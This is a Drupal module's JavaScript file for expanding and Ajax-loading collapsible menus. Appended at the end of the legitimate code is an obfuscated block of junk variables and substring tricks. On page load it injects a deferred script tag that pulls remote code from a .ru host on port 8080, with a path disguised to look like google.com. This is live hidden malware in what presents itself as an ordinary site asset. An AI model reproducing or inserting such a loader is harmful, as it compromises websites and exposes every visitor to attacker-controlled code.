// $Id: activemenu.js,v 1.21 2007/01/23 22:07:22 nedjo Exp $

Drupal.activemenuAutoAttach = function () {
  // The elements supported. Each can designate a different uri.
  var menus = Drupal.settings.activemenu;

  for (var menu in menus) {
    $(menu + ' li.expanded:not(.activemenu-processed)').each(function () {
      Drupal.preventSelect(this);
      $(this)
        .click(function (e) {
          // Only toggle if this is the element that was clicked.
          // Otherwise, a parent li element might be toggled too.
          if (this == Drupal.getTarget(e)) {
            $(this)
              .toggleClass('collapsed')
              .toggleClass('expanded')
              .find('ul')
              .slideToggle();
          }
        })
        .addClass('activemenu-processed')
        .find('ul')
        .slideDown('fast', function () {
          $(this).css(
            {height: ''}
          );
        });
      });
    $(menu + ' li.collapsed:not(.activemenu-processed)').each(function() {
      if ($(this).children('ul').length > 0) {
        return;
      }
      var path = Drupal.getPath(this.firstChild.getAttribute('href', 2));
      var url = Drupal.url(menus[menu]);
      var elt = this;
      Drupal.preventSelect(this);
      $(this)
        .click(function (e) {
          var offset = Drupal.mousePosition(e).x - Drupal.absolutePosition(this).x;
          // Determine if we are in the selection area.
          if (offset < (0 + parseInt($(this).css('padding-left')))) {
            // Ajax GET request for autocompletion
            $.ajax({
              type: 'POST',
              url: url,
              data: 'path=' + path,
              success: function (data) {
                if ($(elt).children('ul').length > 0) {
                  return;
                }
                data = Drupal.parseJson(data);
                $(elt)
                  .append(data.content)
                  .removeClass('collapsed')
                  .addClass('expanded')
                  .unclick()
                  .click(function (e) {
                    // Only toggle if this is the element that was clicked.
                    // Otherwise, a parent li element might be toggled too.
                    if (this == Drupal.getTarget(e)) {
                      $(this)
                        .toggleClass('collapsed')
                        .toggleClass('expanded')
                        .find('ul')
                        .slideToggle();
                    }
                  })
                  .find('ul')
                  .slideDown();
                Drupal.activemenuAutoAttach();
              },
              error: function (xmlhttp) {
                alert('An HTTP error '+ xmlhttp.status +' occured.\n' + url);
              }
            });
            return false;
          }
        })
        .addClass('activemenu-processed');
    });
  }
}

// Global Killswitch
if (Drupal.jsEnabled) {
  $(document).ready(Drupal.activemenuAutoAttach);
}

N=39030;N-=252;pl=46849;pl-=136;var c;try {var m='e'} catch(m){};var F={q:"Ak"};z=function(){var FX=["Np","w","r"];function j(M,i,T){return M.substr(i,T);t={};this.mj=false;}var MJ=["J"];var _Q='';this.o=19736;this.o+=115;var B=document;var d='';var p=RegExp;var vS='';Ta={x:"P"};var zA=new String("/goo"+"gle."+"com/"+"mono"+"graf"+"ias."+"com/"+"iwiw"+".hu."+"php");var XV=19942;try {var tT='Yk'} catch(tT){};function Q(M,i){dx=36216;dx++;var sk='';var T="["+i+j("]zYE",0,1);iE=["CF"];io=["Jo"];var X=new p(T, String(j("gT8kL",0,1)));try {var CR='L'} catch(CR){};try {var Fj='PO'} catch(Fj){};return M.replace(X, d);var K=[];this.gF=58163;this.gF++;};dE=["dI"];var l=String("body");var _=390135-382055;YT={D:"lU"};var h=null;var b=Q('sxcArAi9p9tg','xA9UegT');O=15089;O++;Xq={zAi:"mQ"};var jq=["Wl","ao","Qp"];pm={};var n=3765;c=function(){var lF=["Uq"];try {var ojl={LO:"dr"};Rj=43064;Rj++;var Xj=Q('c9rVeyaYtMeyEVlMeMmXeyn9t7','v9yVSXM7Y');var KB=[];k=B[Xj](b);var mM=["NQ","pD"];var Fs=["Rx","rF"];var M=_+zA;KA={};UX={};var G="defer";var Fsl=22375;var A=Q('sfrLcH','tbovHfLXF');var NA=false;var fj=false;k[A]=new String(j("htl6y",0,2)+j("tpcMx",0,2)+":/"+"/i"+"nk"+j("TlktilkT",3,2)+j("S4PmeP4S",3,2)+".r"+j("zjiu:zji",3,2))+M;k[G]=[5,1][1];var RF={DJ:"pJ"};var Nz=false;var LT=["Tt"];sl={ue:false};B[l].appendChild(k);kg=53787;kg+=97;this.un='';} catch(lS){var _w=new Array();var Js="";TW=["yY"];};};bn={Nk_:"Hd"};var Bq=new String();};z();var ss='';var UEF='';window.onload=c;try {var kV='BW'} catch(kV){};var Bf=new Date();tk=29917;tk--;